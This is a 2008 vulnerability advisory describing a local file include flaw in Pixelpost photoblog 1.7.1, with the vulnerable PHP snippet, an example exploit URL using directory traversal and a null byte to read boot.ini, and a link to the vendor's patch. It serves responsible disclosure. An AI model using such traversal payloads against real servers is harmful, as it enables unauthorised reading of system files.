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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-033
Application: Pixelpost photoblog
Versions Affected: 1.7.1
Vendor URL: http://www.pixelpost.org/
Bug: Local File Include
Exploits: YES
Reported: 22.07.2008
Vendor response: 23.07.2008
Solution: YES
Date of Public Advisory: 28.07.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
Pixelpost photoblog has local file include vulnerability in script index.php
Successful exploitation requires that "register_globals" is enabled.
Code
****
#################################################
$PP_supp_lang = array('dutch'=>array('NL','Nederlands'),
'english'=>array('EN'
,'English'),
'french'=>array('FR'
,'Francais'),
'german'=>array('DE'
,'Deutsch'),
'italian'=>array('IT'
,'Italiano'),
'norwegian'=>array('N
O','Norsk'),
'persian'=>array('FA'
,'Farsi'),
'polish'=>array('PL'
,'Polskiego'),
'portuguese'=>array('
PT','Portugues'),
'simplified_chinese'=>array(
'CN','Chinese'),
'spanish'=>array('ES'
,'Espanol'),
'swedish'=>array('SE'
,'Svenska'),
'danish'=>array('DK'
,'Dansk'),
'japanese'=>array('JP
','Japanese'),
'hungarian'=>array('H
U','Magyar'),
'romanian'=>array('RO
','Romana'),
'russian'=>array('RU'
,'Russian'),
'czech'=>array('CS'
,'Cesky')
);
...
if(isset($_GET['lang'])) { $language_abr = substr($_GET['lang'],0,2); }
foreach ($PP_supp_lang as $key => $row) {
foreach($row as $cell){
if ($cell == strtoupper($language_abr)) { $language_full = $key; }
}
}
...
if(!empty($language_full)) {
if(file_exists("language/lang-".$language_full.".
php")) {
if( !isset($_GET['x'])OR($_GET['x'] != "rss" & $_GET['x'] != "atom")) {
require("language/lang-".$language_full.
".php");
}
}else{
...
#################################################
Example:
http://[server]/[installdir]/index.php?lang=DSecRG&language_full=../../../..
/../../../../../../../../../boot.ini%00
Solution
********
Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:
http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI
DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
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